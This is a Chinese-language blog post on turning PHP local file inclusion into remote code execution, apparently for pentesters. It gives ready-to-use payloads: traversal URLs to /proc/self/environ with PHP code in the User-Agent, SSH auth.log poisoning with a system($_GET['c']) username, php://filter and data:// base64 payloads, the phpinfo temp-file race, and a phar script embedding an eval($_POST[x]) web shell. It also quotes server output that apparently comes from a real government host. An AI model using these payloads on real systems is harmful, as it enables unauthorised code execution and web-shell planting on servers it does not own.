最近lfi+phpinfo利用挺火的,我又在知识库里搜了一下,文件包含的文章不少,但是对于lfi的总结文章还没有。于是总结一下,部分翻译自老外文章,自带一点自己的理解和部分老外没提及到的知识点。此外还整理里一篇lfi转换为rce可能用到的协议

Lfi如果没有上传点的话,在很多人眼里如同鸡肋,食之无味弃之可惜。其实网上已经有很多方法把lfi转化成为rce。

首先确定一个存在lfi的点,然后用来包含/proc/self/environ

http://192.168.159.128/lfi.php?file=../../../../../../../../proc/self/environ

你如果看到

DOCUMENT_ROOT=/home/dprdicom/public_html/smscenterGATEWAY_INTERFACE=CGI/1.1HTTP_ACCEPT=text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8HTTP_ACCEPT_ENCODING=gzip,

deflateHTTP_ACCEPT_LANGUAGE=en-US,en;q=0.5HTTP_CONNECTION=keep-aliveHTTP_HOST=smscenter.dprdbekasikota.go.idHTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:27.0) Gecko/20100101

Firefox/27.0PATH=/bin:/usr/binPHPRC=/usr/local/lib/QUERY_STRING=page=../../../../proc/self/environREDIRECT_STATUS=200REMOTE_ADDR=182.68.251.152REMOTE_PORT=21007REQUEST_METHOD=GETREQUEST_URI=/?page=../../../../proc/self/environSCRIPT_FILENAME=/home/dprdicom/public_html/smscenter/index.phpSCRIPT_NAME=/index.phpSERVER_ADDR=103.28.12.130SERVER_ADMIN=

_NAME=smscenter.dprdbekasikota.go.idSERVER_PORT=80SERVER_PROTOCOL=HTTP/1.1SERVER_SIGNATURE=SERVER_SOFTWARE=ApacheUNIQUE_ID=U@e2lmccDCgAB3SNHk0AAAAa

和上面这种类似的内容。就证明可以利用。

注意这段内容中:

HTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:27.0) Gecko/20100101 Firefox/27.0

这段就是浏览器的ua标识,也是我们可控的一个内容之一。我们要做的就是把ua改成php代码。然后利用上面的lfi点包含进来,就会执行php代码,从而实现rce

如果目标机开启了ssh,可以通过包含ssh日志的方式来getshell,ssh日志默认保存位置:/var/log/auth.log  当我们连接ssh时输入Ssh ‘<?php system($_GET[‘c’]); ?>’@192.168.1.105  php代码便会保存在/var/log/auth.log中,然后我们使用lfi.php进行包含。http://192.168.159.128/lfi.php?file=../../../../../../../..//var/log/auth.log

此外还能包含的日志文件有/var/www/apachae2/access.log (通过ua控制)

附一个fuzz的文件列表:点我查看

【利用场景】:lfi无法截断要包含的文件

php://filter是一种元封装器,用于”数据流打开”时的”筛选过滤”应用。在有了lfi的时候,可以利用这个功能来进行文件读写,注意,读文件的时候一定要进行base64编码,因为如果不进行编码的话php代码有可能直接执行,导致看不到代码。

读文件

http://192.168.159.128/lfi.php?file=php://filter/read=convert.base64-encode/resource=zh.php

读到的内容是base64编码的,去解下码就能直接看到文件源代码。

利用data://伪协议

进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中。

http://127.0.0.1/lfi.php?file=data://text/plain;base64,PD9waHBpbmZvKCk7

PD9waHBpbmZvKCk7解码之后是<?phpinfo();

成功执行phpinfo()

【条件】在allow_url_include = On 且 PHP >= 5.2.0

原理和上面差不多。这个点曾经在强网杯中出现过

【条件】lfi+phpinfo

Lfi+phpinfo需要你有一个lfi,并且在网站上找到了phpinfo.php

http://drops.wooyun.org/web/13249 原理看这个

向服务器上任意php文件post请求上传文件时,都会生成临时文件,可以直接在phpinfo页面找到临时文件的路径及名字。在文件上传完毕后会自动删除临时文件,我们可以在删除之前包含临时文件,从而生成我们的shell

把下面这个图片保存成rar解压后可以看到源码。

当无法截断时可以利用phar包含,但是需要一个上传点

Phar打包 需要phar_readonly为off在php.ini中修改

<?php

try{

    $p = new Phar("my.phar", 0, 'my.phar');

} catch (UnexpectedValueException $e) {

    die('Could not open my.phar');

} catch (BadMethodCallException $e) {

    echo 'technically, this cannot happen';

}

$p->startBuffering();

$p['file1.txt'] = 'file1';

$p['file2.txt'] = 'file2';

$p['file3.txt'] = 'file3';

$p['shell.php'] = '<?php phpinfo(); eval($_POST[x]); ?>';

// use my.phar

echo file_get_contents('phar://my.phar/file2.txt');  // echo file2

// make a file named my.phar

$p->setStub("<?php

    Phar::mapPhar('myphar.phar');  

__HALT_COMPILER();");

$p->stopBuffering();

?>

Phar可以改成任意后缀。上传后利用

http://localhost/pentest/web200/upload.php?file=phar://S9EvthZuJI1TC4u5.txt/shell

或者尝试利用file://加路径去读php代码

http://127.0.0.1/test/filter.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

Lfi目前已经有了很多种转化成rce的办法,慢慢尝试,总会找到一种把鸡肋优雅的利用的办法。

源链接

Hacking more

...